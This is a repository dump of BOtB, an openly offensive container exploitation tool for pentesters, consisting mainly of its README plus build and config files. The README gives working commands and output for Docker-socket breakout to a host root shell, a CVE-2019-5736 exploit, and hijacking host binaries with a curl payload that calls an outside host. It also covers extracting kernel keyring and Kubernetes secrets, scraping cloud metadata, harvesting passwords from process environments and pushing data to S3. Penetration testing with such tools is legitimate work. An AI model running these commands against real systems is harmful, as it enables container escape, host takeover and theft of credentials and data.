├── .github └── workflows │ └── codeql-analysis.yml ├── LICENSE ├── Makefile ├── README.md ├── SECURITY.md ├── cfg.yml ├── go.mod ├── go.sum ├── hashes.sh ├── keyctl.go ├── lib.go ├── main.go └── utils.go /.github/workflows/codeql-analysis.yml: -------------------------------------------------------------------------------- 1 | name: CodeQL 2 | on: 3 | push: 4 | branches: 5 | - main 6 | pull_request: 7 | branches: 8 | - main 9 | schedule: 10 | - cron: 0 0 * * 6 11 | workflow_dispatch: 12 | inputs: 13 | operator: 14 | description: "The user initiating the task." 15 | required: true 16 | default: "brompwnie" 17 | 18 | jobs: 19 | analyze: 20 | name: Analyze 21 | runs-on: ubuntu-latest 22 | steps: 23 | - name: Checkout repository 24 | uses: actions/checkout@v2 25 | with: 26 | fetch-depth: 2 27 | - name: Initialize CodeQL 28 | uses: github/codeql-action/init@v1 29 | with: 30 | languages: go 31 | - name: Autobuild 32 | uses: github/codeql-action/autobuild@v1 33 | - name: Perform CodeQL Analysis 34 | uses: github/codeql-action/analyze@v1 35 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | SHELL := /bin/bash 2 | DIR := $(shell pwd) 3 | BINARY_NAME := botb 4 | OUTPUTDIR := ${DIR}/bin 5 | 6 | .PHONY: all build-linux clean 7 | 8 | GOV111PREFIX := 9 | GOV111 := $(shell expr `go version | cut -f2 -d.` \>= 11) 10 | ifeq "$(GOV111)" "" 11 | GOV111PREFIX := env GO111MODULE=on 12 | else 13 | GOVERSION := $(shell expr `go version | cut -f2 -d.` \>= 11) 14 | ifeq "$(GOVERSION)" "" 15 | $(error must be running Go version 1.11 or newer, due to use of modules) 16 | endif 17 | endif 18 | 19 | all: clean build-linux64 build-darwin64 build-linux32 build-darwin32 20 | 21 | clean: 22 | @echo ">> removing previous builds" 23 | @rm -rf $(OUTPUTDIR) 24 | 25 | $(GOPATH): 26 | GOPATH := $(HOME)/go 27 | 28 | build-linux64: 29 | @echo ">> running check for unused/missing packages in go.mod" 30 | @go mod tidy 31 | @echo ">> building Linux 64bit binary" 32 | $(GOV111PREFIX) GOOS=linux GOARCH=amd64 go build -o $(OUTPUTDIR)/$(BINARY_NAME)-linux-amd64 ./ 33 | 34 | build-darwin64: 35 | @echo ">> running check for unused/missing packages in go.mod" 36 | @go mod tidy 37 | @echo ">> building darwin 64bit binary" 38 | $(GOV111PREFIX) GOOS=darwin GOARCH=amd64 go build -o $(OUTPUTDIR)/$(BINARY_NAME)-darwin-amd64 ./ 39 | 40 | 41 | build-linux32: 42 | @echo ">> running check for unused/missing packages in go.mod" 43 | @go mod tidy 44 | @echo ">> building linux 32bit binary" 45 | $(GOV111PREFIX) GOOS=linux GOARCH=386 go build -o $(OUTPUTDIR)/$(BINARY_NAME)-linux-386 ./ 46 | 47 | build-darwin32: 48 | @echo ">> running check for unused/missing packages in go.mod" 49 | @go mod tidy 50 | @echo ">> building darwin 32bit binary" 51 | $(GOV111PREFIX) GOOS=darwin GOARCH=386 go build -o $(OUTPUTDIR)/$(BINARY_NAME)-darwin-386 ./ 52 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Github All Releases](https://img.shields.io/github/downloads/brompwnie/botb/total.svg?style=for-the-badge)](https://github.com/brompwnie/botb/releases) 2 | 3 | # Break out the Box (BOtB) 4 | BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies. 5 | 6 | 7 | # What does it do? 8 | BOtB is a CLI tool which allows you to: 9 | - Exploit common container vulnerabilities 10 | - Perform common container post exploitation actions 11 | - Provide capability when certain tools or binaries are not available in the Container 12 | - Use BOtB's capabilities with CI/CD technologies to test container deployments 13 | - Perform the above in either a manual or automated approach 14 | 15 | ## Current Capabilities 16 | - Perform a container breakout via exposed Docker daemons (docker.sock) 17 | - Perform a container breakout via CVE-2019-5736 18 | - Perform a privileged container breakout via enabled CAPS and SYSCALLS 19 | - Extract data from Linux Kernel Keyrings via abusing the Keyctl syscall through permissive seccomp profiles 20 | - Identify Kubernetes Service Accounts secrets and attempt to use them 21 | - Identify metadata services endpoints i.e http://169.254.169.254, http://metadata.google.internal/ and http://100.100.100.200/ 22 | - Scrape metadata info from GCP metadata endpoints 23 | - Analyze and identify sensitive strings in ENV and process in the ProcFS i.e /Proc/{pid}/Environ 24 | - Find and Identify UNIX Domain Sockets 25 | - Identify UNIX domain sockets which support HTTP 26 | - Find and identify the Docker Daemon on UNIX domain sockets or on an interface 27 | - Hijack host binaries with a custom payload 28 | - Perform actions in CI/CD mode and only return exit codes > 0 29 | - Push data to an S3 bucket 30 | - Force BOtB to always return a Exit Code of 0 (useful for non-blocking CI/CD) 31 | - Perform the above from the CLI arguments or from a YAML config file 32 | - Perform reverse DNS lookup 33 | 34 | 35 | # Installation 36 | 37 | ## Binaries 38 | For installation instructions from binaries please visit the [Releases Page](https://github.com/brompwnie/botb/releases). 39 | 40 | ## Via Go 41 | ``` 42 | go get github.com/brompwnie/botb 43 | ``` 44 | 45 | 46 | # Building from source 47 | 48 | Building BOtB via Go: 49 | ``` 50 | go build 51 | ``` 52 | Building BOtB via Make: 53 | ``` 54 | make 55 | ``` 56 | 57 | 58 | # Usage 59 | BOtB can be compiled into a binary for the targeted platform and supports the following usage 60 | ``` 61 | ./botb-linux-amd64 -h 62 | -aggr string 63 | Attempt to exploit RuncPWN (default "nil") 64 | -always-succeed 65 | Always set BOtB's Exit code to Zero 66 | -autopwn 67 | Attempt to autopwn exposed sockets 68 | -cicd 69 | Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0 70 | -config string 71 | Load config from provided yaml file (default "nil") 72 | -endpoints string 73 | Provide a textfile with endpoints to use for test (default "nil") 74 | -find-docker 75 | Attempt to find Dockerd 76 | -find-http 77 | Hunt for Available UNIX Domain Sockets with HTTP 78 | -find-sockets 79 | Hunt for Available UNIX Domain Sockets 80 | -hijack string 81 | Attempt to hijack binaries on host (default "nil") 82 | -k8secrets 83 | Identify and Verify K8's Secrets 84 | -keyMax int 85 | Maximum key id range (default 100000000) and max system value is 999999999 (default 100000000) 86 | -keyMin int 87 | Minimum key id range (default 1) (default 1) 88 | -metadata 89 | Attempt to find metadata services 90 | -path string 91 | Path to Start Scanning for UNIX Domain Sockets (default "/") 92 | -pwn-privileged string 93 | Provide a command payload to try exploit --privilege CGROUP release_agent's (default "nil") 94 | -pwnKeyctl 95 | Abuse keyctl syscalls and extract data from Linux Kernel keyrings 96 | -recon 97 | Perform Recon of the Container ENV 98 | -region string 99 | Provide a AWS Region e.g eu-west-2 (default "nil") 100 | -rev-dns string 101 | Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24 (default "nil") 102 | -s3bucket string 103 | Provide a bucket name for S3 Push (default "nil") 104 | -s3push string 105 | Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil") 106 | -scrape-gcp 107 | Attempt to scrape the GCP metadata service 108 | -verbose 109 | Verbose output 110 | -wordlist string 111 | Provide a wordlist (default "nil") 112 | 113 | ``` 114 | 115 | BOtB can also be instructed to load settings from a YAML file via the config parameter 116 | ``` 117 | #./botb-linux-amd64 -config=cfg.yml 118 | [+] Break Out The Box 119 | [+] Loading Config: cfg.yml 120 | ... 121 | ``` 122 | 123 | The following usage examples will return a Exit Code > 0 by default when an anomaly is detected, this is depicted by "echo $?" which shows the exit code of the last executed command. 124 | 125 | ### Identify and Extract Linux Kernel Keyring Secrets that have not been properly protected 126 | More info from the original author here https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/ 127 | ``` 128 | #./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000 129 | [+] Break Out The Box 130 | [*] Attempting to Identify and Extract Keyring Values 131 | [!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe 132 | [!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret 133 | [!] Output { 134 | "KeyId": 13738777, 135 | "Valid": true, 136 | "Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6", 137 | "Type": "keyring", 138 | "Uid": "0", 139 | "Gid": "0", 140 | "Perms": "3f1b0000", 141 | "String_Content": "\ufffd\ufffd\ufffd\u000e", 142 | "Byte_Content": "wP73Dg==", 143 | "Comments": null, 144 | "Subkeys": [ 145 | { 146 | "KeyId": 251133632, 147 | "Valid": true, 148 | "Name": "brompwnie_secret", 149 | "Type": "user", 150 | "Uid": "0", 151 | "Gid": "0", 152 | "Perms": "3f010000", 153 | "String_Content": "thetruthisialsoreallyliketrees", 154 | "Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz", 155 | "Comments": null, 156 | "Subkeys": null, 157 | "Output": "" 158 | } 159 | ], 160 | "Output": "" 161 | } 162 | [+] Finished 163 | ``` 164 | 165 | 166 | ### Identify and Verify mounted Kubernetes Service Account Secrets 167 | ``` 168 | #./botb-linux-amd64 -k8secrets=true 169 | [+] Break Out The Box 170 | [*] Identifying and Verifying K8's Secrets 171 | [!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token 172 | [!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token 173 | [*] Trying: https://kubernetes.default/api/v1 174 | [!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1 175 | [*] Trying: https://kubernetes.default/api/v1/namespaces 176 | [*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets 177 | [*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods 178 | [*] Trying: https://kubernetes.default/api/v1 179 | [!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1 180 | [*] Trying: https://kubernetes.default/api/v1/namespaces 181 | [*] Trying: https://kubernetes.default/api/v1/namespaces/default/secrets 182 | [*] Trying: https://kubernetes.default/api/v1/namespaces/default/pods 183 | [+] Finished 184 | ``` 185 | 186 | ### Break out from Container via Exposed Docker Daemon 187 | This approach will breakout into an interactive TTY on the host. 188 | ``` 189 | #./bob_linux_amd64 -autopwn=true 190 | [+] Break Out The Box 191 | [+] Attempting to autopwn 192 | [+] Hunting Docker Socks 193 | [+] Attempting to autopwn: /var/meh 194 | [+] Attempting to escape to host... 195 | [+] Attempting in TTY Mode 196 | ./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh 197 | chroot /host && clear 198 | echo 'You are now on the underlying host' 199 | You are now on the underlying host 200 | / # 201 | ``` 202 | 203 | ### Break out of a Container but in a CI/CD Friendly way 204 | This approach does not escape into a TTY on the host but instead returns an Exit Code > 0 to indicate a successful container breakout. 205 | 206 | ``` 207 | #./bob_linux_amd64 -autopwn=true -cicd=true 208 | [+] Break Out The Box 209 | [+] Attempting to autopwn 210 | [+] Hunting Docker Socks 211 | [+] Attempting to autopwn: /var/meh 212 | [+] Attempting to escape to host... 213 | [!] Successfully escaped container 214 | [+] Finished 215 | 216 | #echo $? 217 | 1 218 | ``` 219 | 220 | ### Exploit CVE-2019-5736 with a Custom Payload 221 | Please note that for this exploit to work, a process has to be executed in the target container in this scenario. 222 | ``` 223 | #./bob_linux_amd64 -aggr='curl "https://some.endpoint.com?command=$0¶m1=$1¶m2=$2">/dev/null 2>&1' 224 | [+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ... 225 | [+] Attempting to exploit CVE-2019-5736 with command: curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$ 226 | 1¶m2=$2">/dev/null 2>&1 227 | [+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped 228 | [+] Finished 229 | ``` 230 | 231 | ### Hijack Commands/Binaries on a Host with a Custom Payload 232 | Please note that this can be used to test if external entities are executing commands within the container. Examples are Docker Exec and Kubetcl CP. 233 | 234 | ``` 235 | #./bob_linux_amd64 -hijack='curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$ 236 | 1¶m2=$2">/dev/null 2>&1' 237 | [+] Break Out The Box 238 | [!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ... 239 | [+] Attempting to hijack binaries 240 | [*] Command to be used: curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0¶m1=$1¶m2=$2">/dev/null 2>&1 241 | [+] Currently hijacking: /bin 242 | [+] Currently hijacking: /sbin 243 | [+] Currently hijacking: /usr/bin 244 | [+] Finished 245 | ``` 246 | 247 | ### Find UNIX Domain Sockets 248 | ``` 249 | #./botb-linux-amd64 -find-sockets=true 250 | [+] Break Out The Box 251 | [+] Hunting Down UNIX Domain Sockets from: / 252 | [!] Valid Socket: /var/meh 253 | [+] Finished 254 | 255 | #echo $? 256 | 1 257 | ``` 258 | 259 | 260 | ### Find a Docker Daemon 261 | ``` 262 | #./bob_linux_amd64 -find-docker=true 263 | [+] Break Out The Box 264 | [+] Looking for Dockerd 265 | [!] Dockerd DOCKER_HOST found: tcp://0.0.0.0:2375 266 | [+] Hunting Docker Socks 267 | [!] Valid Docker Socket: /var/meh 268 | [+] Finished 269 | 270 | #echo $? 271 | 1 272 | ``` 273 | 274 | 275 | 276 | ### Analyze ENV and ProcFS Environ for Sensitive Strings 277 | By default BOtB will search for the two terms "secret" and "password". 278 | ``` 279 | ./bob_linux_amd64 -recon=true 280 | [+] Break Out The Box 281 | [+] Performing Container Recon 282 | [+] Searching /proc/* for data 283 | [!] Sensitive keyword found in: /proc/1/environ -> 'PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=0e51200113eaTERM=xtermGOLANG_VERSION=1.12.4GOPATH=/gofoo=secretpasswordHOME=/root' 284 | [!] Sensitive keyword found in: /proc/12/environ -> 'GOLANG_VERSION=1.12.4HOSTNAME=0e51200113eaGOPATH=/goPWD=/app/binHOME=/rootfoo=secretpasswordTERM=xtermSHLVL=1PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=./bob_linux_amd64OLDPWD=/bin' 285 | [!] Sensitive keyword found in: /proc/self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4' 286 | [!] Sensitive keyword found in: /proc/thread-self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4' 287 | [+] Checking ENV Variables for secrets 288 | [!] Sensitive Keyword found in ENV: foo=secretpassword 289 | [+] Finished 290 | 291 | #echo $? 292 | 1 293 | ``` 294 | 295 | A wordlist can be supplied to BOtB to scan for particular keywords. 296 | ``` 297 | #cat wordlist.txt 298 | moo 299 | 300 | # ./bob_linux_amd64 -recon=true -wordlist=wordlist.txt 301 | [+] Break Out The Box 302 | [+] Performing Container Recon 303 | [+] Searching /proc/* for data 304 | [*] Loading entries from: wordlist.txt 305 | [+] Checking ENV Variables for secrets 306 | [*] Loading entries from: wordlist.txt 307 | [+] Finished 308 | 309 | # echo $? 310 | 0 311 | ``` 312 | 313 | ### Scan for Metadata Endpoints 314 | BOtB by default scans for two Metadata endpoints. 315 | ``` 316 | # ./bob_linux_amd64 -metadata=true 317 | [+] Break Out The Box 318 | [*] Attempting to query metadata endpoint: 'http://169.254.169.254/latest/meta-data/' 319 | [*] Attempting to query metadata endpoint: 'http://kubernetes.default.svc/' 320 | [+] Finished 321 | 322 | # echo $? 323 | 0 324 | ``` 325 | 326 | BOtB can also be supplied with a list of endpoints to scan for. 327 | ``` 328 | # cat endpoints.txt 329 | https://heroku.com 330 | 331 | # ./bob_linux_amd64 -metadata=true -endpointlist=endpoints.txt 332 | [+] Break Out The Box 333 | [*] Loading entries from: endpoints.txt 334 | [*] Attempting to query metadata endpoint: 'https://heroku.com' 335 | [!] Reponse from 'https://heroku.com' -> 200 336 | [+] Finished 337 | 338 | # echo $? 339 | 1 340 | ``` 341 | 342 | 343 | ### Scan for UNIX Domain Sockets that respond to HTTP 344 | ``` 345 | # ./bob_linux_amd64 -find-http=true 346 | [+] Break Out The Box 347 | [+] Looking for HTTP enabled Sockets 348 | [!] Valid HTTP Socket: /var/run/docker.sock 349 | [+] Finished 350 | 351 | ``` 352 | 353 | ### Scrape data from GCP metadata instance 354 | ``` 355 | # ./botb_linux_amd64 -scrape-gcp=true 356 | [+] Break Out The Box 357 | [+] Attempting to connect to: 169.254.169.254:80 358 | 359 | [*] Output-> 360 | HTTP/1.0 200 OK 361 | Metadata-Flavor: Google 362 | Content-Type: application/text 363 | Date: Sun, 30 Jun 2019 21:53:41 GMT 364 | Server: Metadata Server for VM 365 | Connection: Close 366 | Content-Length: 21013 367 | X-XSS-Protection: 0 368 | X-Frame-Options: SAMEORIGIN 369 | 370 | 0.1/meta-data/attached-disks/disks/0/deviceName persistent-disk-0 371 | 0.1/meta-data/attached-disks/disks/0/index 0 372 | 0.1/meta-data/attached-disks/disks/0/mode READ_WRITE 373 | ..... 374 | 375 | ``` 376 | 377 | ### Push data to an AWS S3 Bucket 378 | ``` 379 | # ./bob_linux_amd64 -s3push=fileToPush.tar.gz -s3bucket=nameOfS3Bucket -region=eu-west-2 380 | [+] Break Out The Box 381 | [+] Pushing fileToPush.tar.gz -> nameOfS3Bucket 382 | [*] Data uploaded to: https://nameOfS3Bucket.s3.eu-west-2.amazonaws.com/fileToPush.tar.gz 383 | [+] Finished 384 | 385 | ``` 386 | 387 | ### Break out of a Privileged Container 388 | ``` 389 | # ./bob_linux_amd64 -pwn-privileged=hostname 390 | [+] Break Out The Box 391 | [+] Attempting to exploit CGROUP Privileges 392 | [*] The result of your command can be found in /output 393 | [+] Finished 394 | root@418fa238e34d:/app# cat /output 395 | docker-desktop 396 | ``` 397 | 398 | ### Force BOtB to always succeed with a Exit Code of 0 399 | This is useful for non-blocking CI/CD tests 400 | ``` 401 | # ./bob_linux_amd64 -pwn-privileged=hostname -always-succeed-true 402 | [+] Break Out The Box 403 | [+] Attempting to exploit CGROUP Privileges 404 | [*] The result of your command can be found in /output 405 | [+] Finished 406 | # echo $? 407 | 0 408 | 409 | ``` 410 | 411 | ### Using BOtB with a YAML config file 412 | Example YAML file cfg.yml 413 | 414 | ``` 415 | payload: id 416 | verbose: false 417 | always-succeed: true 418 | cicd: false 419 | endpointlist: endpoints.txt 420 | wordlist: wordlist.txt 421 | path: / 422 | mode: find-sockets 423 | 424 | ``` 425 | Run BOtB with the above YAML 426 | 427 | ``` 428 | # ./bob_linux_amd64 -config=cfg.yml 429 | [+] Break Out The Box 430 | [+] Loading Config: cfg.yml 431 | [+] Looking for UNIX Domain Sockets from: / 432 | [!] Valid Socket: /tmp/thisisnotasocket.mock 433 | [+] Finished 434 | 435 | ``` 436 | 437 | # Using BOtB with CI\CD 438 | BOtB can be used with CI\CD technologies that make use of exit codes to determine if tests have passed or failed. Below is a Shell script that executes two BOtB tests and the exit codes of the two tests are used to set the exit of the Shell script. If any of the two tests return an Exit Code >0, the test executing the shell script will fail. 439 | 440 | ``` 441 | #!/bin/sh 442 | 443 | exitCode=0 444 | 445 | echo "[+] Testing UNIX Sockets" 446 | ./bob_linux_amd64 -autopwn -cicd=true 447 | exitCode=$? 448 | 449 | echo "[+] Testing Env" 450 | ./bob_linux_amd64 -recon=true 451 | exitCode=$? 452 | 453 | (exit $exitCode) 454 | 455 | ``` 456 | The above script is not the only way to use BOtB with CI\CD technologies but could also be used by itself and not wrapped in a shell script. An example YML config would be: 457 | 458 | ``` 459 | version: 2 460 | cicd: 461 | runATest: ./bob_linux_amd64 -autopwn -cicd=true 462 | ``` 463 | 464 | Below is an example config that can be used with Heroku CI: 465 | 466 | ``` 467 | { 468 | "environments": { 469 | "test": { 470 | "scripts": { 471 | "test": "./bob_linux_amd64 -autopwn -cicd=true" 472 | } 473 | } 474 | } 475 | } 476 | ``` 477 | 478 | Below is an example config with Heroku CI but using a wrapper shell script: 479 | 480 | ``` 481 | { 482 | "environments": { 483 | "test": { 484 | "scripts": { 485 | "test": "./bin/testSocksAndEnv.sh" 486 | } 487 | } 488 | } 489 | } 490 | 491 | 492 | ``` 493 | 494 | # Issues, Bugs and Improvements 495 | For any bugs, please submit an issue. There is a long list of improvements but please submit an Issue if there is something you want to see added to BOtB. 496 | 497 | # References and Resources 498 | This tool would not be possible without the contribution of others in the community, below is a list of resources that have helped me. 499 | 500 | - https://docs.docker.com/engine/security/https/ 501 | - https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#cp 502 | - https://docs.docker.com/engine/reference/commandline/exec/ 503 | - https://github.com/GoogleContainerTools/container-structure-test 504 | - https://github.com/coreos/clair 505 | - https://github.com/aquasecurity/docker-bench 506 | - https://www.cisecurity.org/benchmark/docker/ 507 | - https://github.com/Frichetten/CVE-2019-5736-PoC 508 | - https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/ 509 | - https://www.twistlock.com/labs-blog/disclosing-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/ 510 | - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html 511 | - https://github.com/wagoodman/dive 512 | - https://github.com/cji/talks/blob/master/BruCON2018/Outside%20The%20Box%20-%20BruCON%202018.pdf 513 | - https://github.com/singe/container-breakouts 514 | - https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/ 515 | - https://zwischenzugs.com/2015/06/24/the-most-pointless-docker-command-ever/ 516 | - https://github.com/antitree/keyctl-unmask#keyctl-unmask 517 | - https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/ 518 | 519 | # Talks and Events 520 | BOtB is scheduled to be presented at the following: 521 | 522 | - BSides London 2019 (https://sched.co/PAwB) and slides can be found here https://github.com/brompwnie/bsideslondon2019 523 | - Blackhat Las Vegas Arsenal 2019 (https://www.blackhat.com/us-19/arsenal/schedule/index.html#break-out-the-box-botb-container-analysis-exploitation-and-cicd-tool-14988) 524 | - DefCon 27 Cloud Village (https://cloud-village.org/) 525 | - Blackhat Europe 2019 (https://www.blackhat.com/eu-19/briefings/schedule/index.html#reverse-engineering-and-exploiting-builds-in-the-cloud-17287) 526 | - DevSecCon London 2019 (https://www.devseccon.com/london-2019/) 527 | 528 | # License 529 | BOtB is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License (http://creativecommons.org/licenses/by-nc-sa/4.0). 530 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | ## Supported Versions 4 | 5 | The following released versions are supported by security updates: 6 | 7 | | Version | Supported | 8 | | ------- | ------------------ | 9 | | 1.7.0 | :white_check_mark: | 10 | | 1.6.0 | :white_check_mark: | 11 | | 1.5.0 | :white_check_mark: | 12 | | 1.4.0 | :white_check_mark: | 13 | | 1.3.0 | :white_check_mark: | 14 | | 1.2.0 | :white_check_mark: | 15 | | 1.1.0 | :white_check_mark: | 16 | | 1.0 | :white_check_mark: | 17 | 18 | ## Reporting a Vulnerability 19 | 20 | Complete transparency is the goal and your contribution is welcomed. 21 | 22 | Please report a security vulnerabiltiy by submitting a Pull Request and providing the following: 23 | - CVS3 Score with Vector 24 | - A minimal PoC that can show how to exploit the vulnerability and show impact 25 | 26 | -------------------------------------------------------------------------------- /cfg.yml: -------------------------------------------------------------------------------- 1 | payload: id 2 | verbose: false 3 | always-succeed: true 4 | cicd: false 5 | endpointlist: endpoints.txt 6 | wordlist: wordlist.txt 7 | path: / 8 | mode: find-sockets -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/brompwnie/botb 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/aws/aws-sdk-go v1.20.16 7 | github.com/creack/pty v1.1.11 8 | github.com/stretchr/testify v1.3.0 // indirect 9 | github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926 10 | golang.org/x/crypto v0.0.0-20190611184440-5c40567a22f8 11 | gopkg.in/yaml.v2 v2.2.8 12 | ) 13 | 14 | require ( 15 | github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af // indirect 16 | golang.org/x/sys v0.0.0-20190412213103-97732733099d // indirect 17 | ) 18 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/aws/aws-sdk-go v1.20.16 h1:Dq68fBH39XnSjjb2hX/iW6mui8JtXcVAuhRYGSRiisY= 2 | github.com/aws/aws-sdk-go v1.20.16/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo= 3 | github.com/creack/pty v1.1.11 h1:07n33Z8lZxZ2qwegKbObQohDhXDQxiMMz1NOUGYlesw= 4 | github.com/creack/pty v1.1.11/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= 5 | github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= 6 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 7 | github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af h1:pmfjZENx5imkbgOkpRUYLnmbU7UEFbjtDA2hxJ1ichM= 8 | github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k= 9 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 10 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 11 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 12 | github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q= 13 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 14 | github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926 h1:G3dpKMzFDjgEh2q1Z7zUUtKa8ViPtH+ocF0bE0g00O8= 15 | github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= 16 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 17 | golang.org/x/crypto v0.0.0-20190611184440-5c40567a22f8 h1:1wopBVtVdWnn03fZelqdXTqk7U7zPQCb+T4rbU9ZEoU= 18 | golang.org/x/crypto v0.0.0-20190611184440-5c40567a22f8/go.mod 